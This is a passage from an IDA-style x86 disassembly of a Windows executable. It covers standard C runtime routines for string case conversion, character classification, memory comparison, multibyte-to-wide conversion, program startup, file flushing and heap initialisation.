		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE94
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE94, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D094, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE94, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBEA4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E1CD
		call	dword_427094	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE88
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBEA4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE94, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBEA4
		call	dword_4270E8	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1D3	proc near		; CODE XREF: start+189j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427700
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4271B0	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4DBE04, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4DBE00, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4DBDFC, ecx
		shr	eax, 10h
		mov	dword_4DBDF8, eax
		xor	esi, esi
		push	esi
		call	sub_41E672
		pop	ecx
		test	eax, eax
		jnz	short loc_41E23F
		push	1Ch
		call	sub_41E2EE
		pop	ecx


loc_41E23F:				; CODE XREF: sub_41E1D3+62j
		mov	[ebp+var_4], esi
		call	sub_423B0B
		call	dword_4271AC	; GetCommandLineA
		mov	dword_4DD3AC, eax
		call	sub_4239D9
		mov	dword_4DBE44, eax
		call	sub_42378C
		call	sub_4236D3
		call	sub_41C164
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_4271A8	; GetStartupInfoA
		call	sub_42367B
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_41E28C
		movzx	eax, [ebp+var_2C]
		jmp	short loc_41E28F
; ---------------------------------------------------------------------------


loc_41E28C:				; CODE XREF: sub_41E1D3+B1j
		push	0Ah
		pop	eax


loc_41E28F:				; CODE XREF: sub_41E1D3+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_4270A4	; GetModuleHandleA
		push	eax
		call	sub_401221
		mov	[ebp+var_60], eax
		push	eax
		call	sub_41C191
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_4234F7
		pop	ecx
		pop	ecx
		retn
sub_41E1D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41C1A2

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; sub_4236D3+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE4C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE50
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2EE	proc near		; CODE XREF: sub_41E1D3+66p

arg_0		= dword	ptr  4

		cmp	dword_4DBE4C, 1
		jnz	short loc_41E2FC
		call	sub_423D98


loc_41E2FC:				; CODE XREF: sub_41E2EE+7j
		push	[esp+arg_0]
		call	sub_423DD1
		pop	ecx
		push	0FFh
		call	dword_42706C	; ExitProcess
		retn
sub_41E2EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD160
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		call	dword_427070	; CloseHandle
		test	eax, eax
		jnz	short loc_41E38B
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; sub_41DA8B+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD040, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC02C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD040
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: sub_41E52A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_4270A4	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E52A	proc near		; CODE XREF: sub_41E672+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4270D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41E56D
		cmp	[ebp+var_88], 2
		jnz	short loc_41E56D
		cmp	[ebp+var_94], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: sub_41E52A+27j
					; sub_41E52A+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4271B4	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: sub_41E52A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: sub_41E52A+76j
					; sub_41E52A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: sub_41E52A+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp+var_122C]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: sub_41E52A+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_427078	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: sub_41E52A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: sub_41E52A+CCj
					; sub_41E52A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: sub_41E52A+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: sub_41E52A+A5j
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: sub_41E52A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: sub_41E52A+10Cj
		inc	ecx


loc_41E63D:				; CODE XREF: sub_41E52A+110j
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: sub_41E52A+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: sub_41E52A+5Cj
					; sub_41E52A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E4FD
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: sub_41E52A+3Ej
					; sub_41E52A+126j ...
		pop	ebx
		leave
		retn
sub_41E52A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E672	proc near		; CODE XREF: sub_41E1D3+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4271BC	; HeapCreate
		test	eax, eax
		mov	dword_4DD3A4, eax
		jz	short loc_41E6C8
		call	sub_41E52A
		cmp	eax, 3
		mov	dword_4DD3A8, eax
		jnz	short loc_41E6AE
		push	3F8h
		call	sub_41E6CF
		pop	ecx
		jmp	short loc_41E6B8
; ---------------------------------------------------------------------------


loc_41E6AE:				; CODE XREF: sub_41E672+2Dj
		cmp	eax, 2
		jnz	short loc_41E6CB
		call	sub_41F216


loc_41E6B8:				; CODE XREF: sub_41E672+3Aj
		test	eax, eax
		jnz	short loc_41E6CB
		push	dword_4DD3A4
		call	dword_4271B8	; HeapDestroy


loc_41E6C8:				; CODE XREF: sub_41E672+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E6CB:				; CODE XREF: sub_41E672+3Fj
					; sub_41E672+48j
		push	1
		pop	eax
		retn
sub_41E672	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6CF	proc near		; CODE XREF: sub_41E672+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4DD3A4
		call	dword_427150	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4DD39C, eax
		jnz	short loc_41E6EC
		retn
; ---------------------------------------------------------------------------


